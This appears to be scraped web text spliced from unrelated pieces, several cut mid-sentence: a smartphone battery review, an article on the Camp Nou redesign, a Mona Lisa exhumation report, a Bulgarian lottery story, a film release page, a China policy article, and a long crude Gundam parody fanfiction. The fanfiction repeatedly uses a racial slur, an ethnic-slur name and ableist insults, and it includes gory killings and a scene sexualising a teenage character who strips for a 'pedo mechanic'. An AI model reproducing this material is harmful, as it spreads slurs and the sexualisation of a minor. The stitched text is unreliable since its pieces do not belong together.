RAZR Maxx is the longest-lasting 4G phone that we've tested on any network, including AT&T LTE (5:43, Samsung Skyrocket), and AT&T's (6:51, Motorola Atrix 2) and T-Mobile's (7:38, Samsung Galaxy S II)HSPA+ networks, and Sprint's WiMAX (5:51, HTC EVO Shift 4G). None of the phones on the AT&T's 4G LTE network came close. The Samsung Skyrocket S II' Skyrocket's 5-hour and 42-minute time was the longest we saw on a network where the HTC Vivid (4:21), LG Nitro HD (3:53), and Pantech Burst (4:10) all lasted less than 4.5 hours. To achieve this kind of epic battery life, Motorola has added a whopping 3,300 mAH battery to the design of its ultrathin RAZR phone. However, even with all that juice, the RAZR Maxx is only a mere.35-inches thick and 5.1 ounces, which is only slightly thicker and heavier than the.3-inch, 4.5-ounce original RAZR. The Droid RAZR Maxx smarks the beginning of a new era in smartphone longevity, but does it have more to offer than sublime battery life? Stay tuned for our full review to find out.New Camp Nou architects lift the lid on their design for FC Barcelona's iconic stadium by Kim Megson \| 17 Aug 2016 To reference 'Barca soul', the architects have maximised spaces in and around the stadium to promote openness and outdoor space / FC Barcelona We derived a lot of inspiration from the original stadium, because we want to keep its essence and soul while creating something new and great – Takeyuki Katsuya We derived a lot of inspiration from the original stadium, because we want to keep its essence and soul while creating something new and great The architects charged with revamping FC Barcelona's iconic Camp Nou stadium have given CLAD an exclusive snapshot of their competition-winning design for the project. Japanese practice Nikken Sekkei and Catalan firm Joan Pascual – Ramon Ausio Arquitectes are masterminding the design of the new ground, which will have a semi-transparent roof, an increased capacity of around 105,000 and three skyrings surrounding the perimeter. “FC Barcelona is a club for the fans, not for the owners,” said Nikken Sekkei’s lead architect Takeyuki Katsuya in an interview with CLAD. “They want equality for the stadium, where the views and experiences of everyone are equal. For that reason our big change is to make the design totally symmetrical to represent this democratic nature. “The current stadium roof changes height, making it asymmetrical. We’ll change that and create a very simple balanced shape around the pitch. Then the new sky rings around the outside create more symmetry.” The concept of the design – described as “open, elegant, serene, timeless, Mediterranean and democratic” by the judges who selected it – is inspired by the city’s historical buildings, classic architecture and warm climate. Katsuya said: “We studied the brief and decided we wanted to make a really spectacular scheme. During our research, we found the city has a very rich history and so the project reflects all that. We also derived a lot of inspiration from the original stadium, because we want to keep its essence and soul while creating something new and great.” Joan Pascual, the leading Catalan architect involved with the project, once worked with Camp Nou’s creator Francesc Mitjans at Barcelona’s architecture university. “I understand Mitjans’ spirit, and most importantly I understand his stadium," he told CLAD. “Our starting point was revision, not reinvention. There’s something about the soul of Barça that is special and has to be understood to build a stadium like this.” To reference this “Barca soul”, the architects have maximised spaces in and around the stadium to promote openness and outdoor space where people can enjoy the sun and fresh air. The skyrings, which will glow in the club’s colours at night, will have space for socialising and walking with views towards the sea. Meanwhile amenities typically found in an interior concourse – such as food and beverage stalls – will be placed outside the stadium to create extra space, with the floor rising to fold over them in polygon shapes “like origami”. “We thought if we created a traditional concourse it would disturb the flow and continuity between the building and the club’s wider leisure district,” said Katsuya. “We analysed the movement of people, and we decided to take away the concourse altogether. We’ve removed the walls and gates to truly open up the stadium. “People will be able to come to Camp Nou on a match day and have a day full of excitement in one area – visiting a café, the club’s museum, enjoying the game then going for a meal after.” The club is currently finalising the €360m (US$405.6m, £311.7m) in funding needed to build the stadium, which might be raised in part through the sale of naming rights. Confirmation of the final design details and a tendering process will also follow shortly. The ambition is to complete the ground in time for the 2020/21 La Liga season. An in-depth CLADmag feature on the New Camp Nou and FC Barcelona's ambitious plans to create a new €600m (US$676m, £520m) ‘Espai Barca’ leisure district in its image can be found here. The new issue of the magazine also features exclusive interviews with David Adjaye, Alejandro Aravena, Shigeru Ban, Richard Rogers, Norman Foster, Vo Trong Nghia and the founders of MVRDV.(ANSA) - Florence, March 5 - Carbon-14 results on the remains of three people exhumed from Florence's Sant'Orsola convent will soon reveal whether they include those of a woman thought to have sat for Leonardo da Vinci's Mona Lisa painting, researcher Silvano Vinceti said Thursday. Vinceti, who chairs Italy's National Committee for the valorisation of historic, cultural and environmental heritage, said the tests will be ready in 15 days to a month, at the latest. He also told reporters that the tests will determine whether the bones exhumed in the central Florence convent date back to the estimated time of death of Lisa Gherardini, the woman currently believed to have sat for the famous portrait, which is housed in the Louvre Museum in Paris. Gherardini, wife to merchant Francesco Del Giocond
" and he hacked the jupiter government phone book database to find his phone number. "Okay now I will call judau" and birhgt noah said "Hello judau it is bright noah, what is your address" and KJudau said "BRIGHT MNOAH STAY AWAY, IT IS TOO DANGER" and the call was cut off with static. "Judau is in danger, we have to save him!" and Ulysses X. Pussycaust said "Okay I will trace it" and he traced judaus number. "He is in the city near the deli." so they went to Ulysses X's gun closet and put all of his guns into a box and carried it to the low rider where they cruised to the city where Judau was. CHA{PTER 3: BURNIGN DOWN THE HOUSE Birhgt noah and ulyssex pussycaust drove to Judau's house in the city. "Okay, we need to get guns in case of danger" and they got out hte guns frm the trunk and got out buletprof jumpsuits and sayed "Okay now we have to put these on" and birgth noah said "what are those" and ulysses x pussycaust said "I made tthem with sewing, they are gun suits taht we can strap gunds to in order to have more guns in case of danger." "Good idea, we should put htem on" and they put on the gun suits and got out hte box of guns and put all of their guns onto gun suits. "Now the time has come to face danger, I do not need gundam when I have suit of guns" said bright noah and ulysses x pussycast said "Damn straight niggga." and he cocked his machine gun. they kicked down the door and said "Come out danger, we are here to kill you!" and leina ran out and she was grown up and sayed "NO< GET BACK IT IS DANGER" and she was grabed by robot arm and brght noah and ulysses x pussycats said "Let her go, or else we will shoot you" and they got out duel shotguns. The robot was big with brain jar like in Robocop 2 except it wasnt as big as a moblie suit because it was like robocop 2 and it had brain jar and zaku face. "I AM NEO-ZEON SOUTH BURNING, I AM BRAIN OF BURNING BROUGHT BACK FROM DEAD WITH SCIENCE AND PUT IN BRAIN JAR WITH BRAINWASHING, BECAUSE I WAS BEST PILOT NOW I AM BEST ROBOT" and he started shooting at bright noah and ulysses x pusscaust with guns. "BTRIGHT NOHA, STAND ASIDE" and judau ran out with grenades and started throwing them at Neo Zeon South Burning Killbot, but they weren't good enough. "Baka Judau, did you not remember anything I taught you?" and he took grenades and did grenade kicks. "Okay now I rmemeber" and Judau started doing grenade kicks with bright noah in circle so they could surround neo zeon south burning killbot. CHAPTER 4: IRONB FISHT OF JUSTIEC ulysses x pussyfiend who was rapper saw the grenade kick attacks and said "No, the armor is too strong for grenades because it is not dead yet!" and he drooped his guns and said "It is lucky for you and unlucky for you that I am winner of wu tang kung fu!" and saw the jar that kept south burning brain with wires and cybrog parts with wires in them that were connected to brain and jumped up feet and got down from the bottom of the ceiling and kicked hte brain jar so hard that it cracked. "Good work ulysses x pussyfiend, now it is time for the end of battel!" and Bright Noah wall jumped off the fireplace and jumped onto the top of the south burning robot and saw the brain and punched at it until the case broke and south burning robot said "no, please do no punch my brain!" and Bright noa said "I know you are afraid in your brain, you thought you were alive, but now it is time for you to have final death! WWWAAAAAAAAAAAAAAAAAAAAH TAAH" and bright slapped the brain out from the wire case and south burning bot shut down and said "will I dream" before it shut down. Bright noa stepped over to the brain and held it up to teh sky and screamed "AAAAAUUUUUOOOOOOHHH" and started eating it because he wanted to gain its power. but then there was ccar outside and there was megaphone that said "We are secret Neo Zeon jupiter guard, come out now or be under secret arrest!" and Judau said "we must fight" and birght noa said "No, they are not scared enough to be fighting with losing by us, a true man knows how to master psychololgical warefare!" and he punched brain into goo quickly and then used it to make war paint and used Judau's tanning lamp to dry it quick so he had crusty brain psychological war paint that would scare them and ran out hte door screaming and neo zeon secret police man said "What the - " and bright noah spin kicked him so fast his head spun around and broke neck and the other neo zeon guard said "JESUS CHRIST" chapetrt 5: DRIVE WAY TO HELL bright noah said to thd othe neo zron guard "you have driven other people to their deaths, now i will drive yuo to death" and the neo zeon guard said "nooooo" and he took the neo zeon secret service guy and opened the frtonrt hood of the low rider and stuffed him into the front hood of the car where the engine was and shut the hood and drove around the block and sayed"aaaAAAUUUUUUUAUUUAUGHHGHGHHGBBLELRRLRRLRHGHHGGHHH' and he died becayse he was stuck in the front hood of the car and he died and brigth nosh was finished driving because he stopped the car and he walked away from the car and the car exploded because it got jammed from the neo zeon guy and bright noa walkec away from the explosion. CHAPTER 6: BURNING DOWN THE STEVE Ulysses x pussycaust said "I am know that the neo zeon cybrog robits will be haer soon, htat is why we must use music stragetgery because they cannot comprenhend it. We must fined music allies" so they went to hte Steve Reich Music Foundation Center for Unemployed Charity Orphans. They went ot the desk and said the secret pattern which was "fuck stockhausen" and went to the secret keypad where they put in the secret password which was really long so they had to have a that had it on it. They went downstairs to where there was secret computer lab and tehy said "welcome back birght nao, we are the secret computer lab for underground justice" and he said 'Hello I have brought firneds" and they said "Okay, you can have the cheese and crackers and some coffee because you are guetst." and they did had teh cheese and crackers but judau was a bit anger becuasue because juduau is a french name judau was french and therefore a cheese expert and they only had kraft cheese. "Nigga why you got be so cheese pretencitotugtos" and judau slapped ulysses zx plussybyscaust. brighth noa went to the computer and said "Hello today" and the computertron which was advanced computer said "Hello again bright noah, I have composed new phase piece based on cats" and bright noa said "Now is not the time for minimal music but hte time for maximum fight" he said to the computer which was Steve Reich AI Mk. 16. "I see, then I will prepare the anti-zeon defense with uplink" and upstairs where the lobby of the building was on top of the basement there was big bronze statue of steve reich with muscles and his mouth opened up to use big satellite dish that would do the uplink. "Uplink commenced, now it is the time to combat" and Steve Reich AI sent signal to desk person who was secret robot and he said "My programming is now for combat" and he went to the steve reich statue and pressed the big buttons on its abls and it became the Reichmobile. CHAPTER 7: HTE TOWN HALL BATTEL They all got into the Steve Reich mobiile with guns and rockets and they were about to leave. "Wait, I must do my ultimate skill." and he started strapping grenades to his legs so that he would have grenade legs which was more than grenade kicks. "ONWARD TO THE FUTURE JUSTICE IN TIME" the Steve Reich Mobiel said and they started speeding towards city hall which was where the secret neo zeon base was. they said "now we have to fight for the maxiumumu justirc so that htej upiter city cannot be under hte zoeng opernsion that is over htem beucase of hte neo zeogn beacause of hte oppresion of hte hman who is space now and not on jupioter." and they did victory scream "huuuuoooooAAAAAOOOOAAAHHHHHHHH" and they started fighting teh john gundam who was being pilot by cyborg ceo boss. "I am back and now stronger than I could have in the future! I will INVINCIBLE!" and the started killing hte anti-zeon justice forces. "Oh no, we have to retreat!" the steve reich mobile got hit with missile and it said "Tell Pierre Boulez I love him" and he exploded. "NO, STEVE ROACH" said Bright Noa and he said "You kisama" and he started kicking but he couldn't start kicking anymore because he was sad and judau said "Brigth noa, why are you no longer fight!?" and bright noa said "it is my last brother johny noas final testament, i cannot break it or else he will be dead to wrold!" but then judau said "No, birtghth noa, you have to fight fr johny noa and his widow son!" and birght noa started shooting at john gundam with rocket guns but the john gundam had the lots of vulcan cannons that shot nanomachine funnels that shot mini rockets that exploded and made people die and birght noa didgedg them but monscha could not and monsha said "It looks like I fucked my last whore five minutes ago" and lit cigarette and took out grenade and then took gulp of bourbon and he exploded and took the neo zeon zoldiers and cyborg robots with him. CHAPTER 7: INTO THE PENETRATION "I hoep that the battel does not last for too much of long, beucause I have to attend launch screening of my new album Blingcatraz" and meanwhile on Earth Amuro's newtyep ghoast went to where method man and red man's bodies were buried because they were killed by Dracula in the past and Amuro brought them back to life because they needed to save rap from haman's jupioter plans and he was blue and glowing liek obi wan kenob in THE JEDI RETURN. which was squel to THE EMPIRE RETURN which was episode 2 of star wars which was the sequel to star trek. "Method Man and Red Man, yuo have to save rap, take this map and face the enema" and he gave them newtype force power guns which were funnels but that had people size and were run by talking computer G.E.O.F.F.E.R.Y. So they got on spaceship to jupiter and tried to find the city whrear bright noah was but there was a lot ofo sciteis on jupiter so they couldnt find him. Meanwhile, Char who was not being batman right now was in disguise as DEUX DICQUES, dairy merchant of mars and businessman. RAW Paste Data BRIGHT NOAH CHORNICLES: EPISODE 0 BY JOHNNY SPACEBOOTS CHAPTER 1 IT was during the Char's Counter revenge. The time was bleak and there was sadness that earth might be dead. "Bright noah, I cannot know if I am strong enough how to beat char in the combat." said Amuro with fear voice. "You have done into char victory many times, you can be able to do it again." and Amuro said "Yes, thank you for being friend." and Hathaway said "I do not know if he is write or wrong, the newtypes are sounding like hope to me so it might be good for newtypes." "No, char is become evil because he is dropping asteroids." and Hathaway thought "But then how can I stronger become order to win quess loove?!" and he was frowning. and Bright noa said "Son, come here and share this hamburger with me" and Hathway said "Dad, I told you I am vegan!" and Brith Noa sayed "Son, it is family way of manliness" and Hathaway said "FUCK YOU DAD, NOBODY UNDERSTAND ME" and he ran out. Amuro said "You need to be slapped him." and Bright said "No, hten I will lose custody and I will have to be having to pay child support" adn then Amuro stoped talking CHAPTER 2 Meanwhile the next char attack was being ready for battel while char gave attack speech to soldiers who were going to figgthing. "I will trust in you htat we will through yuor fighting force be victory for newtype future space!" he said and looked in mirror and thought "what have I become" and had single tear roll down and the soldiers were going "SIEG CHAR" and doing space nazi salutes becuase zeon was like nazis. Then Quess was going "LIKE OH MY GAWD CHAR-SAMA!" and Char said "eeeeuuuggghhhhhhooooh my god." "WE WERE GUNNA LIKE GO TO THE MALL FOR ICE CREAM AND YOU LIKE TOTALLY DITCHED ME!" and Char said "We'll go in a week" and she said "OHMYGAWD, REALLY, CUSE LIKE THAT NANAI, SHE'S SUCH A SLUT, LIKE, I SAW WHAT SHE WAS WEARING ON THE BRIDGE, AND I WAS TOTALLY LIKE "WWWOOAAAHH, HOLD ON, FASHION POLICE", AND LIKE HER HAIRSTYLE WAS LIKE TOTALLY WINTER AND SHE WAS LIKE TOTALLY SHOWING OFF HER ASS, AND I WAS LIKE "SLOW DOWN, GRANDMA, NOBODY WANTS TO SEE YOUR JUNK IN YOUR TRUNK, SO I HOPE SHE LIKE, REALLY, DOESN'T GO WITH US, BECAUSE SHE WOULD BE LIKE TOTALLY CRAMPING MY STYLE WITH HER OLD LADY BOOBS." and Char said "Yes, quess, I'll do that." CHAPTER 3: THE CHAR ATTACK But then the quess time was overed because Char got her to go somewhere else. "Now is the time for us to we attack now!" and pilots were all in teh cockpots and then Char got out his red sunglasses and said "But if this fails I can always use my bakcup passport and sunglasses as DEUX DICQUES, dairy baron extrodinaire" adn he took off his sit and got into teh Salami. "LAUNCH the SAZANBI" he said and they launches the saxab but htey dount because there were people still there adn he had to wait for hte people to get out and out of the cockpit hangar poartr of the shitp bueucause cuse it was dangerous for other poeple to be next ot mobile suits when htey were launching beucase it has a lot of flames and stuff that kcamepe out of hte schip but there was missile that got shot at the ship and it was close and he got out of the ship and it blueoe up the part of the ship that where he was but he was okay becauseh e was newtype and he could use theree times faster pulotijgn skills to dogfdge explosion and then shot jgegans gms htat were below and they were dead and he said "This is not enough killing fast for justice cause, I have to kill faster so I can get to where the Amuor is in where I can sense him in the newtype force, Lahal will not be dead for vain!" and he got out his funnel laser bits that he mind controlled bueucause he was newtype and put then under moibile suit feet so he could use them as mobile suit foot rockets that he could use like rocket boots so he could go faster and shoot fools with lasers. CHAPTER 4: HATHWAY GETS INTO FIGHTIGN WHEN HE GETS OUT OF HTE SPACE SCHIP WITH WEAPONS Hathaway waf frightenend b ecuasue of the battel. "Quess is there I know it and I have to hide from lasers." and he hid from lasers. But it wasnt good enough hiding becuase lassers can go through shitps so he couldnt actually hide from klalsers but he thought he did until a laser hit the sh[ anmd there was exploding and people dying in space and a lot of fire. "AA" he said and he ran to the part of ship that was not blown up and then he was safe until there was another laser but there wasn't another laser yet MEANWHILE on teh bridge Amuro said "Bright Noa, it's time, I must face the char once and for all with violence" and Bright said "No, Amuo, he is too strong, his newtype power level is higher now!" "No, I will beat him with newtype force that can with psycommu make newtype force greater! I BELIEVE IN JUSTICE" and Amurop got out of the bridhge and ran to the other part of the ship that was wher ehte gundam was and he gtot into the gundam and that was NEW GUNDAM so he got into New JGudanm and he said "I ma lauchning!" and he gout out of the shitp bright noa said "LAUNCH ALL THE MISSILES SO MAMURO DOES NOT GET DIE." and they launched all the missiles but they ran out of missiles because htey were already using missiles. "Sir, we are out of missiles" "Then launch the LASER ATTACKS" and they laucnehd claser atgtacks. But then there was too mcuh fighting and they said "Bright Noa, it is too much for us to we cannot be doing the fighting here becausse we will die and there is too much!" and Bright Noa said "...I see, hten it is time. I hoped that I would never have to continue this family tradition of great violence and to be simple quiet captain but now it seems that for justice there is no other choice. now it is time!" and he took out gun from seat and he said "PREPARE FOR GUNS" CHAPTER 5: PILOT HARD, WHITE PEGAGUS Amuro was fighitng hthe neo zeon zakus thath werent zakus but were geara dogs that were still zakus becuase they are based on zakus. He said "There is too much interference from the other war things that are happen, I have to SHOOT HARD" and he started mauuenvering faster in 360 degrees around in circles so he was shooting lasers everywhere while going forward and killing zeons people win zakus and they died. "AAAAAAAA" he screamed with te justice force of man passion and he kept doing it so fast that he became blurry and he could do it because the psychoframe also had power to deflect asteroids so it was moving gundam parts at speed of light beucause it was lighter than asteroid. "no, it is not enough, I have to move in THREE DIMENSIONS" and he started doing light speed 360 degree lasers in a big A that was A For Amuro and they didnt ecxpect big A so they died. "Noi, there sare still too many zeon and I ams til not at where newtype force says that char will be which is axis, I cannot only do A but A FORWARD" so he was now fughting in true three dimensions instead of two and a half dimensions and he did 360 A for Amuro death laser super light speed attack to axis where char was. CHAPTER 6: dEATH WAR MEANWHILE quess was humping hte air so she could bother nanai but hten she got bored and saw where amuro adn char were fighting so she knew where to get it and she found pedo mechanic and she said "Mechanic-san, cna I get mobile suit~" and Mechanic said "No, that is too much danger so I am instructed that no mobile suits leave hte ship in case of emergency." and then she started to take off spacesuit and she said "please i wl be good oguril~" beacause she new she was sexy to pedos. "Ok, just htis one" adn he laughed and she got into teh neo zeon zaku and launched. "I'm comign tp save char-kun, haveing to fight enemys when alone is bad and can make death my cha-kun~" and she started going fast but then there were lasers after her so she had to go faster or they would catch up. So she got to the axis where Char and Amurp were using psychommu to move their suits at light speed because they are lighter than asteroids so they are moved more and fast by psychomm dust. They were so fast they were blur like the sun and fighitng at light speed so they destroyed things that close and Ques got out of mobile suit and said "Nyan ha ha, I wil jhinjack th gundnam and kil amuro" and she used her rocket pack to get out of gundam and blew up zaku with stolen bazooka to get rid of evidance and then flew to where Cahr and Amoru were light speed mobile suit kick punching. But then she ran out of gas and the jet pack stopped workign and she was heading right for inbetween where char and amuro were light speed punching and she said "no no no no NO NO NO NO NO NO AAAA AAAAAA AAAAAAA AAA AAAAAAA AAAAAAAAAAAAA AAAAAA AAA AAAAAA AA AAA AA AAA AAA AAA AAAAAAA AAA ARGHBLRHHBH" and vomited and started screaming more and then she was killed by getting in middle of light speed punching and was evaporated. __________________________________________________________________________________________________ BRIGTH NOA CHORNICLES 1.0: YPU WILL (NOT) BE VICTORY BY JOHNNY SPACEBOOTS CHPATER 1: THE AWAKENINGG ATTA BURGHER who was teenage newtype in high school was afraid. Instad of taking the math notes that were good for his learning he was scared beacuse he could sense a big murdering comign his way. He started sweating and the teacher said "Atta burger, you need to take your math grades if you want to goto college!" and Atta burgher said "I am sorry, but I can sense the bad future that I am afraid where there wont be any college in teh future!" and the teacher said with anger "What you say? You insolent!" hsi girlfe Ching Chong said ""I am sorry sensei his medication must not be working again" and then he said "NO!!! I am not crazy therefore I must be newtype! I AM NEWTYPE!" and then flipped over his desk and said "EVERYONE OUT BEFORE THE MURDERING" and then screamed and jumped out the window because he was scared of the murdering that was coming. "Atta Burgher! Get back here so fast or else my foot up your ass!" and he ran after him but didnt go far because he was fat and there was too much cholesterol anyway. CHAPTER 2: THE CREATIN OF TEH JOHN GUNDAM Meanwhile bright noahs cousin Johnny Noah was at the anaheim making the john gundam. "Johnny Noah you are fired for making a too powerful weapon for the wrong hands" "No you are wrong, the john gundam's guns will make peace by stopping war." "No, it will fall into the wrong hands because I am the wrong hands." and the Anahem ceo shot johny with gun and said "Now I will steal this gundam for the neo zeong, not even brigh noah can stop me." And then nina purplton who was old now said "No, the john gundam is being stolen, we HAVE TO ALARM!" and she hit the alarm. The alarm was going off because the gundam was being stolen and there was panic from the alarm. "Holy fucking shithat is the alarm going for!?" said old Keith who was now old and then Kou who was also old said "I think it is the gundam being stolen, it is time" and he ran to the hagner where the gundam was being stolen "I have dealth beore, I can stop the gundam stolen again." and he got into a nother cgundam called the kou gundam becauser nina named it after him and it was custom. CHAPTER 2: THE RECKONING Meanwhile bright noah was on the londo bell ship tha was outside in space. "we have to ship sneakily beacuase the intelligence said the zeongh are here." but then the crue man said "But captain birgh the zeon are all dead." and then bright said "No I am sure they are not dead I think you are wrong." and then he was eating his hamburger because he liked hamburgers a lot.Then the newtype crew womban said "Bright I have newtype intelligence for you" and he said "Get to the chase woman a man has to live fast and talk faster and I am a man."she said "I have a newtype feeling that there will be a lot of murdering soon" and he said "Are you sure that's not just your periodd" and they both laughed. "No I am sure I cannot feel it in my vulva." and bright noddded. Suddeny the communicatons man got really scared and said "CAPTAIN BRIGHT WE GET NEWS BROADCAST!!!!!!!!!!!!!!!!!!!!" he screamed with panic. Bright said "TURN ON THE MAIN SCREEN WITH YOUR HANDS!!" and on the screen was haman khaann!!! Meanwhile, Shior Armada was in his hippie cotage where he and aina were getting high because they were now hippie who didn't like fighting anymore. Shiro put down bong fast and stand up and look up at sky and sayed "It is time. It has to be done!" CAHPTER 4: THE BORADCAST HAman khan was alive and said "People of earth! I ahve been brought back by the nanomachine scientists of neo-zong and now I will have my revenge starting with this colony!!" and she shot the newscaster and the broadcast ended. "At times like these it is important to be prepared for every possibility of war!" he said before stepping on a button on the floor that revealed a big gun wall and he started taking guns off it. "I am Bright Noa, it si my family lineage to do justice with force but if I have to!" the Newtype woman said "But bright-sama it is too dangerous" and he kissed the newtype woman and said "relax my nubile newtype hottie we will finish this when I get back" and then she said "bright-sama~" and fainted. He then said "Okay now steer this ship to the colony. I will put an end to this the way I should have years ago." "captain its too dangerous for one man alone" sayed bridge man but brigth said "I must finish what I begun. With my hands I will deliver the justice that must be served." "Are you sure it is safe" Bright then strapped to his normal suit 2 pistols 2 machine gunds and 2 knifes and then made himself like guncannon by strapping 2 bazookas to shoulders. Bright Noah said "I have 3 Gs in my life: Guns, G-Forces and G-Spots. I will be victory" he said and then the man said "We cannot catapult you without mobile suit and it is too dagnerous without mobil suit, hthe physics will kill you" sad astongge who was brough back with cyborg parts. "Mobil suits are for emo babies with autism. Lanch me I command you!" And so they launched birght noah into the colony space with the catapult adn he went realy fast and he sayed "catapult speed is not fast enough to save colony!" so he turned on rocket pack that made him go even faster and he had to dodge debris but bright noa dodged it anyway like khan but not haman khan but teh one from star wars into darkness but even if he wasnt like khan it was still okay because he could man hard. CHAPTER 5: THE SUMMONING OF SHIRO Meanwhile shoiro and aina who retired to become forest hippies were smoking pot in the cabin so they could forget war. "It is good that we have this pot so we do not lapse into war again" and they laughed. Their son Carts Kittenburg came and said "I sense warring in the newtype force." and Shiro put down bong and said "It is time, I must do what has to be done" and then combed hair over half of face and said "I am now Justice Shiro, the split personality that shiro made so when the time to do what has to be done would carry the tragic burden of war murdering so he would not be responsible" Then Justice shiro said to Carts Kittenburg and other son Beddhe Rosenthal "You must activate your other personality too" and they became newtype innovators Heidegger Soothsayer and Derrida Aristotle. "We will power justice gundam wiht the power of our newtype understanding" and they opened hatch in floor of hut and it was warehouse basement with salvaged ez8 that was made to go into space. He said "NEWTYPE LIFT OFF!" andit went into space. CHPATER 6: HEAD ON INTO KAPOOL But then there were 2 Capools!!!! the kabpools and their pilots wheihc surrounded bright who wasn't scared because he had plan and smiled. "Well see who has the last laiugh" said kapbool pilto and then the bkaobpool went at bright noah with its rockets to where bright noah was but it wasnt where bright noah wasnt there any longer because he wasnt there because he got closer to the kabpool with his rockets that were on his back and he was fierce like wand and then he got up to the kabpool and shot it in the face with a bazooka so the zeeong pilot couldn t ssee so then he went down from where the face to the cockpit was so he could get to opened the cockpit. "OH JESUS OH MY GOD JESUS NO BRIGHT NOAH IS IN MY COCKPIT NO GOD NO" sad the kabpool pilot when he saw that iwas no meref eddy but bright noah. "You cannot scare me with your space balls, I will show you what true balls are!" he said nd then shot the pilot with bullets and granades then took over the cockpit of the kabpool. kabopool. "Now I will show them how a man pilots a mobil soot" said bright noah and backflipped over the other kabpool and shot it 32 times inthe back before it exploded but broght got out ot he way by backflipping forwards again so that he doged the explosion. Other kapool pilot say "I will kill you bright noah then I will be the baddest dude on the colonies!!". Bu then Bright Noa pressed a button that made hte kapbool go rocket at the other capool and crashed into the cockpit at the speed of lighting and the pilot was dead into a fire from the crushing because it exploded and that killed him to pieces but it did not kill Bright noah did a triple forwards backflip with his feet so that teh explodeing did not get him because that made him doge the explosion. "Dont let the bed bugs bite" said bright noah who took out his space flask to drink whiskey but then he realize that he cnat drank wishkey in space. CHOATPer 7: DESTINY FELING Meanwhil at the anahem base the moon government police were investigating the gundamnapping by the anahem ceo. But meanwhie Riddh who was now test pilot came up to Keith who was eating soda and said "Where is Uraki, I have mah jong with him today" "Kou cannot MAh jong, he is going after the john gundam" "Yes it is too bad about johnny noah, but his brother will avenge him." "Yes. That is true." "Why do they call it the Kou gudnam if it is just gm wiht quebly parts" aksed Riddhe and Keith answered "Because Nina said she built it just to be liek him, boring with overpower." and they both laughed. "Yes, but they stay together because they have depp emotional bond and their sex is supposed to be amazing." Keith laughed quick and said "Yes I walked in on them the first time they sexed each other and she was riding his penis with her vagina hard while spinning around in circle and they were both yelling" and they both laughed because it was invented by the karma sutra. "Nina loves the karma sutra" "Yes, she loves the karma sutra, she listens to the audiobok on her player." and they both laughed at lot. But then the laugh was over becasue they realized they had serious matter to tend with the stealing of the john gundam. "I will take out the Triple Zeta gudnam" said Riddh and Keith said "No, it is too dagnerous, the newtype sensor can make it berserk with severe danger" "NO, I have the discipline and training to do it" "Okay but I will acompan you in the geara dog." and they went to where hte mobil suits were. Atta burger was hiding because he was scared. He was in a bush because the zeon attack has started so he hid. But he heard a glow and turned around it was blue and glowing and made a glow sound and he was looking at atta burgehr and was smiling right behind him in the bush. "Atta burger I am Amuro Ray I am dead Netwype force ghoast. I have come to unlcok the newtype force powers in you with my newtype force powers" "How do I know that when I have the newtuype force powers" and aumor said "you will know when you sense destiny in your feeling" and then he left. Atta burgher was mad because he did not stay and be his friend because he had no firends. Meanwhile hte johnny gundam had 100 funnels that were all deadly like the newtype force of murder. The ceo man said "Now there is no way to stop my plans" and he laughed and pushed the funnel button that made them go on. Teh funnels were a lot so they protected the john gundam with the funnel shields while his 100 vulcans shot at all the jegans with their invincible bullets. "Hahaha, nothing can stop my plans now!!!" and he shot at them with more of his 1000 vulcans that were on the john gundam. then he said "what can this do" and then he used the space flamethrower that made the jegans melt with damage and they exploded. The John Gundam was killing more of hte federation fleet with the neo zong invasion queubely force andkilling the qubuely force too because the ceo pilot wanted to take over. It shot its 100 vulcan cannons and duel space flamethrowers while it used its double funnels that were funnels that had two laser funnel cannons in each funnel where it could be a shiled and anotehr cannon too and on the funnels were bazooka guns that shot rockets taht were both normal explodign rockets and rockets that shot smaller beam saber rockets that lanced enemies. ________________________________________________________________________________________________________________ BRIGHT NOAH CRHORNICLES 2: THE JOHN gundam CHAPTER 1: THE CREATIN OF THE JOHN GUNDAM Meanwhile Johnny noah who was birght nowahs brother was at the anaheim making the john gundam. "Johnny Noah you are fired for making a too powerful weapon for the wrong hands" "No you are wrong, the john gundam's guns will make peace by stopping war." "No, it will fall into the wrong hands because I am the wrong hands!" and the Anahem ceo shot johny with gun and said "Now I will steal this gundam and take over the neo zong, not even brigh noah can stop me." And then nina purplton who was old now said "NO, THE GUNDAM IS STOLEN, WE MUST ALArM" and she hit the alarm. The alarm was going off because the gundam was being stolen and there was panic from the alarm. "What is the alarm going for" said old Keith who was fifty years old and then Kou who was also old said "I think it is the gundam being stolen, it is time" and he ran to the hagner where the gundam was being stolen "I have dealth beore, I can stop the gundam stolen again." and he got into a
Who needs Derren Brown? Bulgarian lottery draws same numbers in consecutive weeks Feat: The Bulgarian investigation follows Derren Brown correctly predicting the British lottery In a surprise worthy of Derren Brown, the same six winning numbers have been drawn twice in a row in Bulgaria's national lottery. The country's government ordered an investigation after the numbers 4, 15, 23, 24, 35 and 42 were selected, in a different order, live on television on September 6 and 10. However police found no evidence of wrongdoing. A Bulgarian lottery spokesman said: 'This has happened for the first time in the 52-year history of the lottery. We are absolutely stunned to see such a freak coincidence.' Bulgaria's Sports Minister Svilen Neykov has now launched a probe into the draws, which were done by machine, on September 6 and 10. Investigators are due to report back by the end of the week. Mathematician Mihail Konstantinov said that the probability of this happening is about 4.2 million to one. He did, however, add that such coincidences can happen. The draws take place in the presence of a special lottery committee that is meant to guarantee no manipulation. In demand: Bulgarians queue to buy tickets for their state-run lottery Although no-one won the September 6 draw, an unprecedented 18 people got all six numbers on September 10. The winners will each get 10,164 leva (around £1,500). Bulgarian's last major jackpot was 3.8 million leva (£1.9million euros) in January 2008. The investigation follows magician Derren Brown correctly predicting the British National Lottery draw last week. There have been a number of theories about how he pulled off the feat, including the use of a split screen.The People Vs George Lucas US Release Dates – VOD and DVD September 26th, 2011 It’s been a long journey, but we’re very happy to announce that The People Vs George Lucas is coming out in the US for Video On Demand (VOD) and DVD. Available NOW on XBOX Live/Zune Yeap – you may watch TPVGL on your XBOX or rent it from Zune using this link here. If you… Read More What Star Wars Teaches Us July 5th, 2011 Star Wars is a space opera, and on a scale of literary genius, it kind of falls short. I’m not knocking it; it’s just not exactly Gone With the Wind. However, that doesn’t mean it’s not without merit. Star Wars has several examples the studious observer can learn from. Well, maybe some of them are… Read MoreAre China’s leaders really being pushed around by a nationalistic, rowdy public? On March 25 at the Jamestown Foundation’s annual conference on Chinese defense and security issues, Australian analyst Andrew Chubb made a provocative presentation that challenged the official narrative that they are. Chubb presented survey results from five Chinese cities on how ordinary citizens view the territorial disputes in the East and South China Seas. Startlingly, in an era of social media and mobile Internet access, most people still get their news from CCTV—not the fiery commercial news outlets—and agree in principle that the government should seek compromise over China’s maritime territorial disputes. Chubb, a PhD student at the 